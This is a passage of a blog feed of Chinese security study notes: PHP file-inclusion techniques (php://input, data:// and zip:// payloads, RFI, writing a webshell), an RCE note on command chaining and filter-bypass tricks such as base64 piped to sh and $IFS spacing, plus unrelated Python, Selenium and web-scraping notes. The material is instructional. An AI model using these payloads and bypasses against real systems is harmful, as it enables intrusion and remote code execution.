&lt;p&gt;php中上传文件，会创建临时文件。在linux下使用/tmp目录，而在windows下使用C:\windows\temp目录。在临时文件被删除前，可以利用时间竞争的方式包含该临时文件。&lt;/p&gt;
&lt;p&gt;由于包含需要知道包含的文件名。一种方法是进行暴力猜解，linux下使用的是随机函数有缺陷，而windows下只有65535种不同的文件名，所以这个方法是可行的。&lt;/p&gt;
&lt;p&gt;另一种方法是配合phpinfo页面的php variables，可以直接获取到上传文件的存储路径和临时文件名，直接包含即可。&lt;/p&gt;
&lt;p&gt;这个方法可以参考 https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf&lt;/p&gt;
&lt;p&gt;类似利用临时文件的存在，竞争时间去包含的，可以看看这道CTF题：https://chybeta.github.io/2017/08/22/XMAN%E5%A4%8F%E4%BB%A4%E8%90%A5-2017-babyweb-writeup/&lt;/p&gt;
&lt;h3&gt;四、远程文件包含(RFI)&lt;/h3&gt;
&lt;p&gt;如果PHP的配置选项&lt;code&gt;allow_url_include&lt;/code&gt;、&lt;code&gt;allow_url_fopen&lt;/code&gt;状态为ON的话，则&lt;strong&gt;include/require&lt;/strong&gt;函数是可以加载远程文件的，这种漏洞被称为远程文件包含(RFI)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/29a0875e3b-44c9de53ff3f4ff8b15a0c1a0fc9f96a.png&quot; alt=&quot;44c9de53ff3f4ff8b15a0c1a0fc9f96a&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先我们来看一段代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
	$path=$_GET[&apos;path&apos;];
	include($path . &apos;/phpinfo.php&apos;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问本地site目录下的phpinfo.php文件:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/7a2279efc3-9234a931fc11452099398084fd606c59.png&quot; alt=&quot;9234a931fc11452099398084fd606c59&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;该页面并没有对$path做任何过滤，因此存在文件包含漏洞。

我们在远端Web服务器/site/目录下创建一个test.php文件，内容为phpinfo()，利用漏洞去读取这个文件。

但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀，如果php版本小于5.3.4，我们可以尝试使用%00截断，这里php版本为7.3.4，不适用。

还有一种截断方法就是?号截断，在路径后面输入?号，服务器会认为?号后面的内容为GET方法传递的参数，成功读取test.php如下：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/5d2d7af137-5f410573f9664f12bff64166719a0592.png&quot; alt=&quot;5f410573f9664f12bff64166719a0592&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果test.php是恶意的webshell文件，那么利用该漏洞就可以获取到服务器权限。&lt;/p&gt;
&lt;h3&gt;五、PHP伪协议&lt;/h3&gt;
&lt;p&gt;PHP内置了很多URL风格的封装协议，可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数&lt;/p&gt;
&lt;p&gt;如下所示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/a7e3261ce3-30b963c25bea48dcbc496cffb05d9989.png&quot; alt=&quot;30b963c25bea48dcbc496cffb05d9989&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;1.file://协议&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;file:// 用于访问本地文件系统，在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/c33f2c8118-b36518ada13d4840adda715be02c8c57.png&quot; alt=&quot;b36518ada13d4840adda715be02c8c57&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file:// [文件的绝对路径和文件名]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/346428c218-c7155542f0104f3588a3b809f5e30dbc.png&quot; alt=&quot;c7155542f0104f3588a3b809f5e30dbc&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2.php://协议&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input

php://filter用于读取源码。

php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出，不然会直接当做php代码执行就看不到源代码内容了。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;利用条件:

1.allow_url_fopen ：off/on

2.allow_url_include：off/on
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如有一些敏感信息会保存在php文件中，如果我们直接利用文件包含去打开一个php文件，php代码是不会显示在页面上的，例如打开当前目录下的2.php:
&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/c5aca3f7e1-82059d24101a403b9f3b8e7769e4cf9f.png&quot; alt=&quot;82059d24101a403b9f3b8e7769e4cf9f&quot; /&gt;&lt;/p&gt;
&lt;p&gt;他只显示了一条语句，这时候我们可以以base64编码的方式读取指定文件的源码:&lt;/p&gt;
&lt;p&gt;输入&lt;/p&gt;
&lt;p&gt;&lt;code&gt;php://filter/convert.base64-encode/resource=文件路径&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;得到2.php加密后的源码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/b7e9413073-b667bf338aab4e82bcf72ad77472b3f0.png&quot; alt=&quot;b667bf338aab4e82bcf72ad77472b3f0&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再进行base64解码，获取到2.php的完整源码信息：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/f0199c2255-65f354f2a2774be9b74c3f3940b8e0b3.png&quot; alt=&quot;65f354f2a2774be9b74c3f3940b8e0b3&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。从而导致任意代码执行。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;利用条件:

1.allow_url_fopen ：off/on

2.allow_url_include：on
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用该方法，我们可以直接写入php文件，输入&lt;code&gt;file=php://input&lt;/code&gt;，然后使用burp抓包，写入php代码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/14d27a1ec9-b8cdd2c6e9a94365b64c58ef3f5c48ee.png&quot; alt=&quot;b8cdd2c6e9a94365b64c58ef3f5c48ee&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发送报文，可以看到本地生成了一句话木马：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/b343aab34d-c99b110b71cc4854a2cfc3821b6befe3.png&quot; alt=&quot;c99b110b71cc4854a2cfc3821b6befe3&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;3.ZIP://协议&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;zip:// 可以访问压缩包里面的文件。当它与包含函数结合时，zip://流会被当作php文件执行。从而实现任意代码执行。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;zip://中只能传入绝对路径。

要用#分割压缩包和压缩包里的内容，并且#要用url编码成%23(即下述POC中#要用%23替换）

只需要是zip的压缩包即可，后缀名可以任意更改。

相同的类型还有zlib://和bzip2://
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;利用条件:

1.allow_url_fopen ：off/on

2.allow_url_include：off/on
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;POC为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/cb40197526-7f04b0e59fda44cdb669d99fa315410b.png&quot; alt=&quot;7f04b0e59fda44cdb669d99fa315410b&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4.data://协议&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;data:// 同样类似与php://input，可以让用户来控制输入流，当它与包含函数结合时，用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果，例如执行phpinfo()函数：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;利用条件:

1.allow_url_fopen ：on

2.allow_url_include：on
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;POC为:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data://text/plain,&amp;lt;?php phpinfo();?&amp;gt;
//如果此处对特殊字符进行了过滤，我们还可以通过base64编码后再输入：
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/658c28e078-fdf0d4eb7b9f4b40b4e22b6990162cb8.png&quot; alt=&quot;fdf0d4eb7b9f4b40b4e22b6990162cb8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/45881ef6e0-ef51e3405dc04622b65750b26c55eca8.png&quot; alt=&quot;ef51e3405dc04622b65750b26c55eca8&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;5.伪协议利用条件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;伪协议的利用方法还有很多，这里就不一一举例了。

伪协议的用法小结
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/d86aeb8de9-4737e3fbbbae4ebda4d419264e9e556c.png&quot; alt=&quot;4737e3fbbbae4ebda4d419264e9e556c&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;六、文件包含漏洞防护&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、使用str_replace等方法过滤掉危险字符

2、配置open_basedir，防止目录遍历（open_basedir 将php所能打开的文件限制在指定的目录树中）

3、php版本升级，防止%00截断

4、对上传的文件进行重命名，防止被读取

5、对于动态包含的文件可以设置一个白名单，不读取非白名单的文件。

6、做好管理员权限划分，做好文件的权限管理，allow_url_include和allow_url_fopen最小权限化
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>RCE 远程命令执行漏洞</title><link>https://wangyi187.top/posts/web-16-rce/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-16-rce/</guid><description>0x16 RCE漏洞 一、简介 二、作用 三、原理 四、产生条件 五、系统命令执行函数 六、windows系统命令拼接方式 七、绕过方式 1、空格过滤 2、关键字过滤 当cat关键</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x16 RCE漏洞&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、简介&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	RCE(remote command/code execute，远程命令执行)漏洞，一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口，比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
	一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。如果设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，从而让后台进行执行，从而控制整个后台服务器
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二、作用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、原理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	以PHP为例，system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时，就能运行我们想运行的命令，从而进行攻击。
	一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。 
	如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，从而让后台进行执行，从而控制整个后台服务器。 
	现在很多的企业都开始实施自动化运维,大量的系统操作会通过&quot;自动化运维平台&quot;进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。 远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 
	因此，如果需要给前端用户提供操作类的API接口，一定需要对接口输入的内容进行严格的判断，比如实施严格的白名单策略会是一个比较好的方法。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、产生条件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;可控变量、漏洞函数
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五、系统命令执行函数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、system()

2、passthru()

3、exec()

4、shell_exec()

5、popen()

6、proc_open()

7、pcntl_exec()

在网址中的使用（举个例子）：

node5.anna.nssctf.cn:28588/?url=system(&apos;l\s&apos;);

又或者

node5.anna.nssctf.cn:28588/?url=l\s

php就会执行系统命令
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六、windows系统命令拼接方式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、&quot;|&quot;   cmdA | cmdB      只执行cmdB （这边是把cmdA的一个输出结果作为cmdB的一个输入参数，cmdB处理过后才输出，所以这里只执行cmdB)

	当cmdA与cmdB命令是相关联的话就譬如：在windows的cmd中输入 netstat -ano | findstr 80 就是把netstat -ano输出的所有参数当成findstr的一个输入参数，findstr再执行查找80关键字的处理后再进行输出，所以从某种意义来说，只执行findstr这个命令

要是两个命令毫不相干的话就只会执行cmdB

2、&quot;||&quot;   cmdA || cmdB    cmdA执行成功，就停止；执行失败，继续执行cmdB

3、&quot;&amp;amp;&quot;   cmdA &amp;amp; cmdB      先运行cmdA，然后运行cmdB (windows系统，都会执行两个命令。Linux会分别使用两个界面输出两个命令结果）

【cmdA;cmdB //只适用于Linux系统;两个命令都会执行】

4、&quot;&amp;amp;&amp;amp;&quot;   cmdA &amp;amp;&amp;amp; cmdB     先执行cmd1，cmd1执行成功才会执行cmd2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;七、绕过方式&lt;/h3&gt;
&lt;h4&gt;1、空格过滤&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;用这些方式来代替空格

%09（tab键） %20、$IFS$9、&amp;lt;&amp;gt;、${IFS}（空格） 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、关键字过滤&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;当cat关键字被过滤的时候
		   
base64编码绕过：
echo&quot;cat a.txt&quot; | base64 进行base64位编码，得到编码：Y2F0IGEudHh0Cg==
echo Y2F0IGEudHh0Cg== | base64 -d  进行base64位解码，得到解码：cat a.txt （-d是解码的意思）
echo Y2F0IGEudHh0Cg== | base64 -d | sh (这里使用bash是可以的） 将会执行cat a.txt（输出其中的内容）
           
hex编码绕过：
echo &quot;cat a.txt&quot; | xxd
echo 6361 7420 612e 7478 740a | xxd -r -p 
echo 6361 7420 612e 7478 740a | xxd -r -p | sh (这里使用bash也是可以的）
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、偶读拼接&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;某些关键字无法执行的时候，就先拆开再组合

a=l;b=s;$a$b   执行ls命令

a=&apos;ca&apos;;b=&apos;t ab&apos;;c=&apos;c.txt&apos;;$a$b$c   执行cat abc.txt命令
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、换行绕过&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;%0a  换行

有些网站，只会对第一行的参数进行过滤，第二行不会。
		 
举例：%0A cat flag.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、花括号{}绕过&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;cat abc.txt 

{cat,abc.txt}  其中的空格被过滤的时候，就用&apos; {} &apos;,中间的空格换成&apos; , &apos;就好

{ls,} 只有一个参数的话要在旁边加个,
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、内联执行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;本来echo是输出字符串，但现在在里面加上了&apos; ` &apos;变成了执行内部的命令

echo &quot;`cat abc.txt`&quot;      这个&apos; ` &apos;符号是与&apos; ~ &apos;属于同一个按键的符号，在Esc键的下方,注意！这里面符号不是单引号！
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7、引号执行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;将关键字拆开但不影响执行

cat abc.txt

c&quot;&quot;at abc.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8、反斜杠执行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;将关键字和文件名拆开但不影响执行

c\at  ab\c.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;9、方括号[]绕过&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;将文件名拆开但不影响执行(不经常用)

cat abc.txt

cat ab[c].txt 不要用方括号去绕过关键字例如cat
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;10、关键字替换绕过&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;有一些关键字虽然不同，但功能大体相似，当某些关键字被过滤的时候就可以才用具有相似功能的关键字

就譬如：

cat：查看一个文本文件的内容
tac：以行为单位反序输出文件内容，即第一行最后显示，最后一行先显示，输出内容和cat 命令相反。

虽然功能不一样，但是都可以查看文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;总结&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1.空格绕过：%09，%20，$IFS$9,&amp;lt;&amp;gt;,${IFS},花括号{}

2.文件名参数绕过：base64,hex编码，偶读拼接，引号执行，反斜杠执行，方括号[]

3.关键字过滤：反斜杠执行，引号执行，偶读拼接，base64,hex编码
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>反序列化漏洞</title><link>https://wangyi187.top/posts/web-17-deserialization/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-17-deserialization/</guid><description>0x17 反序列化漏洞</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x17 反序列化漏洞&lt;/h1&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>XXE 漏洞</title><link>https://wangyi187.top/posts/web-18-xxe/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-18-xxe/</guid><description>0x18 XXE漏洞</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x18 XXE漏洞&lt;/h1&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>XML 漏洞</title><link>https://wangyi187.top/posts/web-19-xml/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-19-xml/</guid><description>0x19 XML漏洞</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x19 XML漏洞&lt;/h1&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>Web 逆向笔记</title><link>https://wangyi187.top/posts/web-reverse/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-reverse/</guid><description>web逆向 页面加载 = 填充数据 api fuzz 对一个 api 接口发起请求 朝地址发送请求，拦截，看他是怎么发送的 = 仿照 axios，ajax 发送请求的函数 api </description><pubDate>Sat, 11 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;web逆向&lt;/h1&gt;
&lt;p&gt;页面加载 =&amp;gt; 填充数据&lt;/p&gt;
&lt;p&gt;api&lt;/p&gt;
&lt;p&gt;fuzz&lt;/p&gt;
&lt;p&gt;对一个 api 接口发起请求&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

conf = {
    &apos;url&apos;: &apos;http://www.whggzy.com/portal/category&apos;,
    &apos;method&apos;: &apos;post&apos;,
    &apos;headers&apos;: {
        &apos;Accept&apos;: &quot;application/json, text/plain, */*&quot;,
        &quot;Content-Type&quot;: &quot;application/json;charset=utf-8&quot;,
        &quot;X-Requested-With&quot;: &quot;XMLHttpRequest&quot;
    },
    &apos;data&apos;: &apos;{&quot;pageNo&quot;:1,&quot;pageSize&quot;:15,&quot;categoryCode&quot;:&quot;MostImportant&quot;,&quot;_t&quot;:1699667047000}&apos;
    # &apos;json&apos;: {
    #     &quot;pageNo&quot;: 1,
    #     &quot;pageSize&quot;: 15,
    #     &quot;categoryCode&quot;: &quot;MostImportant&quot;,
    #     &quot;_t&quot;: 1699666604000
    # }
}

response = requests.request(**conf)
print(response)
print(response.text)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;朝地址发送请求，拦截，看他是怎么发送的 =&amp;gt; 仿照&lt;/p&gt;
&lt;p&gt;axios，ajax&lt;/p&gt;
&lt;p&gt;发送请求的函数  &amp;lt;= 数据&lt;/p&gt;
&lt;p&gt;index =&amp;gt; api =&amp;gt; 密文 =&amp;gt; js 解密 =&amp;gt; 渲染到网页&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let data = &quot;MZphJmFlelDpw2aSCfdFb/N2pTHjfeAwtDLyvUJjNtc9uQ38v3qfLPSa8aHUOp11/nLUW7Oh0nsTNlcykLqCB2oQjmA46V1gwnaP/yhXe+GYnIJbyQfvFy2dzl5nzhez8XzVrEk40vycjn4uGZVw16Xj6FtHrNnVE2mrCKdMmf+Qh5vnU5DjD91q7UpSSgUAyWGgteD+ehMbwmfjrGJg5VLISb7kWLP+&quot;

let crypt = require(&apos;crypto-js&apos;)

function b(t) {
    let e = crypt.enc.Utf8.parse(&quot;EB444973714E4A40876CE66BE45D5930&quot; ),
        n = crypt.enc.Utf8.parse(&quot;B5A8904209931867&quot; ),
        a = crypt.AES.decrypt(t, e, {
            iv: n,
            mode: crypt.mode.CBC,
            padding: crypt.pad.Pkcs7
        });
    return a.toString(crypt.enc.Utf8)
}

console.log(b(data))

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Selenium 自动化笔记</title><link>https://wangyi187.top/posts/selenium-notes/</link><guid isPermaLink="true">https://wangyi187.top/posts/selenium-notes/</guid><description>selenium 代码 + 驱动 = 浏览器操控 驱动和代码，同一个文件夹下 一、操作 二、定位</description><pubDate>Thu, 09 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;selenium&lt;/h1&gt;
&lt;p&gt;代码 + 驱动 =&amp;gt; 浏览器操控&lt;/p&gt;
&lt;p&gt;驱动和代码，同一个文件夹下&lt;/p&gt;
&lt;h2&gt;一、操作&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;driver
	.page_source   		网页源码
  .save_screenshot	截屏
  .current_url			当前url
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;二、定位&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;.find_element()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;driver.find_element(By.ID, &quot;kw&quot;).send_keys(&quot;立春橘&quot;)
driver.find_element(By.ID, &quot;su&quot;).click()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Python 基础笔记</title><link>https://wangyi187.top/posts/python-basics-notes/</link><guid isPermaLink="true">https://wangyi187.top/posts/python-basics-notes/</guid><description>【python】 print 变量 数据类型 Number ,string ,列表list,集合set,元组tuple,字典dict 数据类型转换 进制转换 切片</description><pubDate>Fri, 03 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;【python】&lt;/p&gt;
&lt;h4&gt;print()&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# print(&apos;hello,world~&apos;)
# print(123)
# print(12.3)

# print(&apos;hello&apos;,end=&apos; &apos;)
# print(&apos;world~&apos;)

# print(1,2,3,4,5,sep=&apos;:&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;变量&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;
# a = 1
# b = 2
# print(a)
# print(b)

# a,b,c = 1,2,3
# print(a,b,c)

# a = 10
# b = 20
# c = 0
# print(a,b)
# c = a
# a = b
# b = c
# print(a,b)

# a,b = b,a
# print(a,b)

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;数据类型&lt;/h4&gt;
&lt;p&gt;Number   ,string ,列表list,集合set,元组tuple,字典dict&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# a = 1
# print(a)
# print(type(a))

# from decimal import Decimal
# n1 = 1.1
# n2 = 2.2
# print(Decimal(&apos;1.1&apos;) + Decimal(&apos;2.2&apos;))
# print(type(n1))
# print(n1+n2)


# print(1+True)
# print(1+False)


# &apos;&apos;      单行字符串
# &quot;   &quot;   通常表示句子
# &apos;&apos;&apos;     表示段落
# &apos;&apos;&apos;
# &quot;&quot;&quot;
# &quot;&quot;&quot;


# str = &apos;xiaoming&apos;
# str2 = &quot;this is my world！&quot;
# str3 = &apos;&apos;&apos;
# 小明
# 小红
# 小兰
# 效率
# &apos;&apos;&apos;

# print(str)
# print(str2)
# print(str3)


# str(),int(),float(),bool()

# a = 123
# print(&apos;a变量的类型：&apos;,type(a))
# b = str(a)
# print(&apos;b变量的类型：&apos;,type(b))
# c =int(b)
# print(&apos;c变量的类型：&apos;,type(c))
# d = float(c)
# print(&apos;d变量的类型：&apos;,type(d))
# e = bool(d)
# print(&apos;e变量的类型：&apos;,type(e))




&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据类型转换&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# str(),int(),float(),bool()

# a = 123
# print(&apos;a变量的类型：&apos;,type(a))
# b = str(a)
# print(&apos;b变量的类型：&apos;,type(b))
# c =int(b)
# print(&apos;c变量的类型：&apos;,type(c))
# d = float(c)
# print(&apos;d变量的类型：&apos;,type(d))
# e = bool(d)
# print(&apos;e变量的类型：&apos;,type(e))


print(ord(&apos;a&apos;))
print(chr(92))
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;进制转换&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;print(11)
print(0b11)
print(0o11)
print(0x11)

print(bin(3))
print(oct(9))
print(hex(17))

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# print(r&apos;he\nllo,\nworld!&apos;)


# print(&apos;hel\tlo,wor\tld.&apos;)

#\r  将光标移到本行开头
# a =10 
# b = &apos;小明&apos;
# print(f&apos;我朋友{b}今年胖了{a}斤&apos;)

import time
for i in range(6):  #0-5
    print(f&apos;\r你的节操掉了{5-i}斤&apos;,end=&apos;&apos;)
    time.sleep(1)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;切片&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;str = &apos;123456789&apos;
# print(str)
# print(str[0])
# print(str[2:5])     #左闭右开[2,5)
# print(str[0:-1])    #左闭右开[0,8)
# print(str[3:])      
# print(str[1:5:2])
# print(str[1::2])
# print(str[::2])
# print(str[::-1])
# print(str*2)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
# 列表      []    list
# 集合      {}    set
# 元组      ()    tuple
# 字典      {}    dict

# 1.列表：可以重复，可以修改。购物车信息
# 2.集合：可以修改，但是不能重复。无序的。记录兴趣爱好等数据。打篮球。
# 3.元组：创建完就无法改变。安全性高一些。
# 4.字典：键和值。学校系统，记录学生信息。学号：学生其他信息。



# a  = []
# print(type(a))

a = [1,2,3,4,5,6,7,8,9]
# print(a)
# a[2] = &apos;a&apos;
# a[3] = &apos;a&apos;
# a[4] = &apos;a&apos;
# print(a)
# a[2:6] = &apos;a&apos;
# print(a)

# a[3] = [1,2,3]
# print(a)
# print(a[3][1])

# print(max(a))
# a.append(88)
# print(a)
# print(a.index(8))
# print(a.pop())
# print(a)
# print(a.pop(3))
# print(a)
# a.remove(2)
# print(a)
# print(len(a))


#元组
# a = (1,2,3)
# print(a)
# print(type(a))
# print(a[1])
# a[1] = 99
# print(a)


#集合  set
#可以去除重复
# a = {}
# print(type(a))
# b = set()
# b.add(10)
# print(type(b))
# print(b)

# c = {1,2,3,4,5,6,7,8,9}
# print(c)
# print(type(c))
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>其他数据库注入（Oracle/MSSQL 等）</title><link>https://wangyi187.top/posts/sqli-other-db/</link><guid isPermaLink="true">https://wangyi187.top/posts/sqli-other-db/</guid><description>【sqlserver】 sysobjects:存放了所有的表信息，类似于tables，name字段；xtype：存放表类型，u为用户创建的表，x为系统创建的表。 syscolumn</description><pubDate>Sun, 29 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;【sqlserver】&lt;/p&gt;
&lt;p&gt;sysobjects:存放了所有的表信息，类似于tables，name字段；xtype：存放表类型，u为用户创建的表，x为系统创建的表。&lt;/p&gt;
